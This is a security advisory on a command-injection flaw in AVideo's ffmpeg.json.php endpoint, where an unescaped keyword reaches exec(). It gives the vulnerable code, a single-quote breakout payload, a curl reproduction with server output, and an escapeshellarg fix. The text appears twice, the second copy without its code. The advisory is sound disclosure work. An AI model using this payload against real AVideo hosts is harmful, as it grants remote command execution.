Summary
The helper listFFmpegProcesses($keyword) in plugin/API/standAlone/functions.php builds a shell pipeline by interpolating $keyword inside single quotes and running it with exec():
$command .= " | grep '$keyword'";
exec($command, $output, $status);
The two callers in plugin/API/standAlone/ffmpeg.json.php (the list mode and the isKeywordRunning mode) pass the RAW decrypted codeToExec field, not the sanitized $keyword variable that the endpoint allowlists elsewhere. Because the value is placed inside a single-quoted shell context with no escaping, a payload that closes the quote (for example x'; touch /tmp/marker #) breaks out and injects an arbitrary command that runs via exec()'s /bin/sh -c. An attacker who can craft a valid encrypted payload achieves OS command execution as the web-server user.
Vulnerable code
Sink — plugin/API/standAlone/functions.php, listFFmpegProcesses() (around lines 139-147):
function listFFmpegProcesses($keyword = '')
{
$command = "ps -eo pid,etime,%cpu,%mem,cmd | grep '[f]fmpeg'";
if (!empty($keyword)) {
$command .= " | grep '$keyword'"; // $keyword interpolated inside single quotes, unescaped
}
exec($command, $output, $status); // runs via /bin/sh -c
Callers — plugin/API/standAlone/ffmpeg.json.php pass the RAW decrypted field, bypassing the allowlisting applied to the local $keyword variable. That local variable is built at line ~136 as $keyword = preg_replace('/[^a-zA-Z0-9_-]/', '', $codeToExec->keyword), but the two callers below never use it:
// list mode (line ~221)
$list = listFFmpegProcesses($codeToExec->keyword);
// isKeywordRunning mode (line ~341)
$list = listFFmpegProcesses($codeToExec->isKeywordRunning);
Neither mode is gated by the $isStandAlone check that guards the deleteFolder / deleteFile modes, so both run on any AVideo instance.
Reachability
Reached by sending a codeToExec payload with either list = 1 and a malicious keyword, or with a malicious isKeywordRunning value. Both modes call listFFmpegProcesses() with the raw field before any allowlist is applied to it.
Privilege required
Same trust boundary as the parent command-injection fix in this endpoint: an attacker who can craft a valid encrypted codeToExec payload with a valid APISecret. _decryptString() calls the platform decryptString API (AES-256-CBC; key = hash('sha256', $global['saltV2']), iv = substr(hash('sha256', $global['systemRootPath']), 0, 16)), and the payload is accepted when payload->time is within the last 30 seconds. No interactive login is required.
Reproduction (end-to-end, against master HEAD)
Deployed the master HEAD source (commit 8eaca9d5, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer, enabled the API plugin, and confirmed the decryptString / isAPISecretValid platform APIs live over HTTP. APISecret is md5($global['salt'] . $global['systemRootPath'] . 'API').
A codeToExec was encrypted (encryptString()) with:
time = now
list = 1
keyword = x'; touch /tmp/avideo_kw_rce_1782909694_20509 #
POST:
curl -s -X POST "http://<host>/plugin/API/standAlone/ffmpeg.json.php" \
--data-urlencode "APISecret=<APISecret>" \
--data-urlencode "codeToExecEncrypted=<encrypted codeToExec>"
Verbatim response (normal list output while the injection ran as a side effect):
{"error":false,"msg":"","list":[]}
The injected touch ran (marker created by the web-server user):
-rw-r--r-- 1 www-data www-data 0 Jul 1 12:41 /tmp/avideo_kw_rce_1782909694_20509
Same result through the isKeywordRunning mode (payload x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #):
{"error":true,"msg":"No FFmpeg process found with the given keyword","isRunning":false,"keyword":"x'; touch /tmp/avideo_ikr_rce_1782909715_3303 #"}
-rw-r--r-- 1 www-data www-data 0 Jul 1 12:41 /tmp/avideo_ikr_rce_1782909715_3303
Negative control (benign alphanumeric keyword benignkw123, list mode): same code path, marker NOT created:
{"error":false,"msg":"","list":[]}
ls: cannot access '/tmp/avideo_kwneg_1782909713_28529': No such file or directory
Patched re-run (after applying escapeshellarg() as below): the injection is neutralized and the marker is NOT created:
{"error":false,"msg":"","list":[]}
ls: cannot access '/tmp/avideo_kw_rce_PATCHED_1782909782_8294': No such file or directory
Impact
Arbitrary OS command execution on the AVideo host as the web-server user (the account that owns the application files, configuration, database credentials, and saltV2). An attacker can read and modify site data, pivot to the database, and persist. This is a distinct sink (the grep single-quote breakout in listFFmpegProcesses) from the completion-hook concatenation elsewhere in the same endpoint, and it is reachable through two different modes.
Suggested fix
Escape the keyword at the shell boundary in listFFmpegProcesses():
if (!empty($keyword)) {
$command .= " | grep " . escapeshellarg($keyword);
}
Alternatively, have the list / isKeywordRunning callers pass the already-allowlisted $keyword value instead of the raw decrypted field. Escaping inside listFFmpegProcesses() is preferred because it protects every caller.
Credit
Reported by tonghuaroot.
Summary
The helper
listFFmpegProcesses($keyword)inplugin/API/standAlone/functions.phpbuilds a shell pipeline by interpolating$keywordinside single quotes and running it withexec():The two callers in
plugin/API/standAlone/ffmpeg.json.php(thelistmode and theisKeywordRunningmode) pass the RAW decryptedcodeToExecfield, not the sanitized$keywordvariable that the endpoint allowlists elsewhere. Because the value is placed inside a single-quoted shell context with no escaping, a payload that closes the quote (for examplex'; touch /tmp/marker #) breaks out and injects an arbitrary command that runs viaexec()'s/bin/sh -c. An attacker who can craft a valid encrypted payload achieves OS command execution as the web-server user.Vulnerable code
Sink —
plugin/API/standAlone/functions.php,listFFmpegProcesses()(around lines 139-147):Callers —
plugin/API/standAlone/ffmpeg.json.phppass the RAW decrypted field, bypassing the allowlisting applied to the local$keywordvariable. That local variable is built at line ~136 as$keyword = preg_replace('/[^a-zA-Z0-9_-]/', '', $codeToExec->keyword), but the two callers below never use it:Neither mode is gated by the
$isStandAlonecheck that guards thedeleteFolder/deleteFilemodes, so both run on any AVideo instance.Reachability
Reached by sending a
codeToExecpayload with eitherlist = 1and a maliciouskeyword, or with a maliciousisKeywordRunningvalue. Both modes calllistFFmpegProcesses()with the raw field before any allowlist is applied to it.Privilege required
Same trust boundary as the parent command-injection fix in this endpoint: an attacker who can craft a valid encrypted
codeToExecpayload with a validAPISecret._decryptString()calls the platformdecryptStringAPI (AES-256-CBC; key =hash('sha256', $global['saltV2']), iv =substr(hash('sha256', $global['systemRootPath']), 0, 16)), and the payload is accepted whenpayload->timeis within the last 30 seconds. No interactive login is required.Reproduction (end-to-end, against master HEAD)
Deployed the master HEAD source (commit
8eaca9d5, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer, enabled the API plugin, and confirmed thedecryptString/isAPISecretValidplatform APIs live over HTTP.APISecretismd5($global['salt'] . $global['systemRootPath'] . 'API').A
codeToExecwas encrypted (encryptString()) with:time= nowlist= 1keyword=x'; touch /tmp/avideo_kw_rce_1782909694_20509 #POST:
Verbatim response (normal list output while the injection ran as a side effect):
The injected
touchran (marker created by the web-server user):Same result through the
isKeywordRunningmode (payloadx'; touch /tmp/avideo_ikr_rce_1782909715_3303 #):Negative control (benign alphanumeric keyword
benignkw123,listmode): same code path, marker NOT created:Patched re-run (after applying
escapeshellarg()as below): the injection is neutralized and the marker is NOT created:Impact
Arbitrary OS command execution on the AVideo host as the web-server user (the account that owns the application files, configuration, database credentials, and
saltV2). An attacker can read and modify site data, pivot to the database, and persist. This is a distinct sink (thegrepsingle-quote breakout inlistFFmpegProcesses) from the completion-hook concatenation elsewhere in the same endpoint, and it is reachable through two different modes.Suggested fix
Escape the keyword at the shell boundary in
listFFmpegProcesses():Alternatively, have the
list/isKeywordRunningcallers pass the already-allowlisted$keywordvalue instead of the raw decrypted field. Escaping insidelistFFmpegProcesses()is preferred because it protects every caller.Credit
Reported by tonghuaroot.